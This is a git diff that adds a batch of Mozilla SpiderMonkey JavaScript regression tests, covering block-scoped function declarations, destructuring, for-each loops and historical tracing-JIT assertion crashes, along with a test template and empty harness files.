+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(x)
+ {
+ actual = '';
+ var g;
+ print(actual += typeof g + ',');
+
+ if (x)
+ function g(){};
+
+ print(actual += g);
+ }
+
+ expect = 'undefined,undefined';
+ f(0);
+
+ reportCompare(expect, actual, summary + ': f(0): ');
+
+ expect = 'undefined,function g(){}';
+
+ f(1);
+
+ reportCompare(expect, actual, summary + ': f(1): ');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-467495-04.js b/js/src/tests/js1_8/regress/regress-467495-04.js
new file mode 100644
index 000000000..bb77c5a3b
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-467495-04.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function g() {
+ if (1)
+ function x() {};
+ var x;
+ const y = 1;
+ }
+
+ try
+ {
+ g();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-467495-05.js b/js/src/tests/js1_8/regress/regress-467495-05.js
new file mode 100644
index 000000000..505fb6bd6
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-467495-05.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'function x() {}';
+
+ function g(x) { if (1) function x() {} return x; }
+ print(actual = g(1) + '');
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-467495-06.js b/js/src/tests/js1_8/regress/regress-467495-06.js
new file mode 100644
index 000000000..d8bc81c83
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-467495-06.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(x)
+ {
+ var y = 1;
+ if (Math)
+ function x() { }
+ if (Math)
+ function y() { }
+ return [x, y];
+ }
+
+ var r = f(0);
+
+ if (typeof(r[0]) != "function")
+ actual += "Bad r[0]";
+
+ if (typeof(r[1]) != "function")
+ throw "Bad r[1]";
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-468711.js b/js/src/tests/js1_8/regress/regress-468711.js
new file mode 100644
index 000000000..f5ff88a18
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-468711.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 468711;
+var summary = 'TM: Do not assert: !JS_ON_TRACE(cx)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (5).toString(); for each (let b in [3, this]) { b.toString(); }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-469547.js b/js/src/tests/js1_8/regress/regress-469547.js
new file mode 100644
index 000000000..32d96114d
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-469547.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469547;
+var summary = 'Do not crash with: for each (let [,] in [[], [], null]) {}';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ for each (let [,] in [[], [], null]) {}
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-469625-02.js b/js/src/tests/js1_8/regress/regress-469625-02.js
new file mode 100644
index 000000000..47ded9027
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-469625-02.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469625;
+var summary = 'group assignment with rhs containing holes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'y';
+
+ Array.prototype[1] = 'y';
+ var [x, y, z] = ['x', , 'z'];
+
+ actual = y;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-469625-03.js b/js/src/tests/js1_8/regress/regress-469625-03.js
new file mode 100644
index 000000000..1e2d46cba
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-469625-03.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469625;
+var summary = 'Do not assert: script->objectsOffset != 0';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(x) {
+ var [a, b, [c0, c1]] = [x, x, x];
+ }
+
+ expect = `TypeError: (intermediate value)[Symbol.iterator](...).next(...).value is null`;
+ actual = 'No Error';
+ try
+ {
+ f(null);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-471373.js b/js/src/tests/js1_8/regress/regress-471373.js
new file mode 100644
index 000000000..15753b698
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-471373.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 471373;
+var summary = 'TM: do not assert: (size_t)(regs.pc - script->code) < script->length';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window == 'undefined')
+ {
+ expectExitCode(5);
+ }
+
+
+ function g() {
+ var x = {};
+ for (var b = 0; b < 2; ++b) {
+ yield x;
+ for (var c = 0; c < 10;++c) {
+ x.r = x;
+ }
+ }
+ }
+ for (let y in g()) { }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-471660.js b/js/src/tests/js1_8/regress/regress-471660.js
new file mode 100644
index 000000000..1d219ee9d
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-471660.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 471660;
+var summary = 'TM: Do not assert: !(fp->flags & JSFRAME_POP_BLOCKS)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ y = {"a":1};
+
+ for (var w = 0; w < 5; ++w) {
+
+ { let y; do break ; while (true); }
+ for each (let x in [{}, function(){}]) {y}
+
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-474769.js b/js/src/tests/js1_8/regress/regress-474769.js
new file mode 100644
index 000000000..c423b9b3b
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-474769.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474769;
+var summary = 'TM: nested for each type-unstable loops';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 1;
+
+
+ for each (b in [1, 1, 1, 1.5, 1, 1]) {
+ (function() { for each (let h in [0, 0, 1.4, ""]) {} })();
+ }
+ actual = b;
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-474771.js b/js/src/tests/js1_8/regress/regress-474771.js
new file mode 100644
index 000000000..a5085426b
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-474771.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474771;
+var summary = 'gczeal, prototype mangling, for..in';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'PASS';
+ if (typeof gczeal == 'function')
+ {
+ gczeal(2);
+ }
+
+ Object.prototype.q = 3;
+ for each (let x in [6, 7]) { } print(actual = "PASS");
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-474935.js b/js/src/tests/js1_8/regress/regress-474935.js
new file mode 100644
index 000000000..118e14ff2
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-474935.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474935;
+var summary = 'Do not assert: !ti->typeMap.matches(ti_other->typeMap)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var a = ["", 0, 0, 0, 0, 0, "", "", 0, "", 0, ""];
+ var i = 0;
+ var g = 0;
+ for each (let e in a) {
+ "" + [e];
+ if (i == 3 || i == 7) {
+ for each (g in [1]) {
+ }
+ }
+ ++i;
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-476655.js b/js/src/tests/js1_8/regress/regress-476655.js
new file mode 100644
index 000000000..b1c2fb561
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-476655.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476655;
+var summary = 'Do not assert: depth <= (size_t) (fp->regs->sp - StackBase(fp))';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ try
+ {
+ eval(
+ "for(let y in ['', '']) try {for(let y in ['', '']) ( /x/g ); } finally {" +
+ "with({}){} } this.zzz.zzz"
+
+ );
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-477234.js b/js/src/tests/js1_8/regress/regress-477234.js
new file mode 100644
index 000000000..d10fb198f
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-477234.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477234;
+var summary = 'Do not assert: v != JSVAL_ERROR_COOKIE';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (iters = 0; iters < 11500; ++iters) {
+ for each (let x in ['', '', '']){}
+ eval("Object.defineProperty(__proto__, 'x', " +
+ "{" +
+ " enumerable: true, configurable: true," +
+ " get: function(){}" +
+ "});");
+ var a = uneval;
+ delete uneval;
+ uneval = a;
+ var b = toSource;
+ delete toSource;
+ toSource = b;
+ var c = toString;
+ delete toString;
+ toString = c;
+ }
+
+
+ delete __proto__.x;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-477581.js b/js/src/tests/js1_8/regress/regress-477581.js
new file mode 100644
index 000000000..2720f82fc
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-477581.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477581;
+var summary = 'Do not assert: !regs.sp[-2].isPrimitive()';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function g() { yield 2; }
+ var iterables = [[1], [], [], [], g()];
+ for (let i = 0; i < iterables.length; i++)
+ for each (let j in iterables[i])
+ ;
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-478205.js b/js/src/tests/js1_8/regress/regress-478205.js
new file mode 100644
index 000000000..71d980579
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-478205.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 478205;
+var summary = 'Do not assert: p->isQuad()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for each (let x in ['', '']) { switch([]) {} }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-479353.js b/js/src/tests/js1_8/regress/regress-479353.js
new file mode 100644
index 000000000..0345f175c
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-479353.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479353;
+var summary = 'Do not assert: (uint32_t)(index_) < atoms_->length';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f(code)
+{
+ (eval("(function(){" + code + "});"))();
+}
+x = {};
+f("y = this;");
+f("x, y; for each (let x in [arguments]) {}");
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/regress/regress-479740.js b/js/src/tests/js1_8/regress/regress-479740.js
new file mode 100644
index 000000000..bcbeaff03
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-479740.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479740;
+var summary = 'TM: Do not crash @ TraceRecorder::test_property_cache';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+try
+{
+ eval(
+ ' function f() {' +
+ ' for ( foobar in (function() {' +
+ ' for (var x = 0; x < 2; ++x) {' +
+ ' if (x % 2 == 1) { yield (this.z.z) = function(){} }' +
+ ' eval("this", false);' +
+ ' }' +
+ ' })());' +
+ ' function(){}' +
+ ' }' +
+ ' f();'
+ );
+}
+catch(ex)
+{
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/regress/regress-481800.js b/js/src/tests/js1_8/regress/regress-481800.js
new file mode 100644
index 000000000..7a27e8b7f
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-481800.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 481800;
+var summary = 'TM: Do not assert: (!lhs->isQuad() && !rhs->isQuad()) || (lhs->isQuad() && rhs->isQuad())';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for each (let x in ['', 0, 0, eval]) { y = x } ( function(){} );
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/regress-483749.js b/js/src/tests/js1_8/regress/regress-483749.js
new file mode 100644
index 000000000..74563ce89
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-483749.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 483749;
+var summary = 'Do not assert: !js_IsActiveWithOrBlock(cx, fp->scopeChain, 0)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+for each (let x in ['']) {
+ for (var b = 0; b < 5; ++b) {
+ if (b % 5 == 3) {
+ with([]) this;
+ }
+ }
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8/regress/regress-499524.js b/js/src/tests/js1_8/regress/regress-499524.js
new file mode 100644
index 000000000..2b996eda2
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-499524.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function isSyntaxError(code) {
+ try {
+ eval(code);
+ return false;
+ } catch (exception) {
+ if (SyntaxError.prototype.isPrototypeOf(exception))
+ return true;
+ throw exception;
+ };
+};
+
+/*
+ * Duplicate parameter names must be tolerated (as per ES3), unless
+ * the parameter list uses destructuring, in which case we claim the
+ * user has opted in to a modicum of sanity, and we forbid duplicate
+ * parameter names.
+ */
+assertEq(isSyntaxError("function f(x,x){}"), false);
+
+assertEq(isSyntaxError("function f(x,[x]){})"), true);
+assertEq(isSyntaxError("function f(x,{y:x}){})"), true);
+assertEq(isSyntaxError("function f(x,{x}){})"), true);
+
+assertEq(isSyntaxError("function f([x],x){})"), true);
+assertEq(isSyntaxError("function f({y:x},x){})"), true);
+assertEq(isSyntaxError("function f({x},x){})"), true);
+
+assertEq(isSyntaxError("function f([x,x]){}"), true);
+assertEq(isSyntaxError("function f({x,x}){}"), true);
+assertEq(isSyntaxError("function f({y:x,z:x}){}"), true);
+
+assertEq(isSyntaxError("function f(x,x,[y]){}"), true);
+assertEq(isSyntaxError("function f(x,x,{y}){}"), true);
+assertEq(isSyntaxError("function f([y],x,x){}"), true);
+assertEq(isSyntaxError("function f({y},x,x){}"), true);
+
+assertEq(isSyntaxError("function f(a,b,c,d,e,f,g,h,b,[y]){}"), true);
+assertEq(isSyntaxError("function f([y],a,b,c,d,e,f,g,h,a){}"), true);
+assertEq(isSyntaxError("function f([a],b,c,d,e,f,g,h,i,a){}"), true);
+assertEq(isSyntaxError("function f(a,b,c,d,e,f,g,h,i,[a]){}"), true);
+assertEq(isSyntaxError("function f(a,b,c,d,e,f,g,h,i,[a]){}"), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8/regress/regress-532491.js b/js/src/tests/js1_8/regress/regress-532491.js
new file mode 100644
index 000000000..b05876327
--- /dev/null
+++ b/js/src/tests/js1_8/regress/regress-532491.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466128;
+var summary = 'Do not assert: staticLevel == script->staticLevel, at ../jsobj.cpp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(foo) {
+ if (a % 2 == 1) {
+ try {
+ eval(foo);
+ } catch(e) {}
+ }
+ }
+ a = 1;
+ f("eval(\"x\")");
+ f("x");
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8/regress/shell.js b/js/src/tests/js1_8/regress/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8/regress/shell.js
diff --git a/js/src/tests/js1_8/shell.js b/js/src/tests/js1_8/shell.js
new file mode 100644
index 000000000..630b9de73
--- /dev/null
+++ b/js/src/tests/js1_8/shell.js
@@ -0,0 +1,12 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// NOTE: This only turns on 1.8.0 in shell builds. The browser requires the
+// futzing in js/src/tests/browser.js.
+if (typeof version != 'undefined')
+{
+ version(180);
+}
+
diff --git a/js/src/tests/js1_8/template.js b/js/src/tests/js1_8/template.js
new file mode 100644
index 000000000..089aae2d6
--- /dev/null
+++ b/js/src/tests/js1_8/template.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 99999;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/JSON/browser.js b/js/src/tests/js1_8_1/JSON/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_1/JSON/browser.js
diff --git a/js/src/tests/js1_8_1/JSON/regress-458959.js b/js/src/tests/js1_8_1/JSON/regress-458959.js
new file mode 100644
index 000000000..04c606c5b
--- /dev/null
+++ b/js/src/tests/js1_8_1/JSON/regress-458959.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 458959;
+var summary = 'this.JSON should not be enumerable';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i in this)
+ {
+ if (i.toString() == 'JSON')
+ actual = i;
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/JSON/regress-459293.js b/js/src/tests/js1_8_1/JSON/regress-459293.js
new file mode 100644
index 000000000..fbd46589c
--- /dev/null
+++ b/js/src/tests/js1_8_1/JSON/regress-459293.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459293;
+var summary = 'Allow redeclaration of JSON';
+var actual = '';
+var expect = '';
+
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('var JSON = "foo";');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8_1/JSON/shell.js b/js/src/tests/js1_8_1/JSON/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_1/JSON/shell.js
diff --git a/js/src/tests/js1_8_1/README b/js/src/tests/js1_8_1/README
new file mode 100644
index 000000000..d0b5fc6ee
--- /dev/null
+++ b/js/src/tests/js1_8_1/README
@@ -0,0 +1 @@
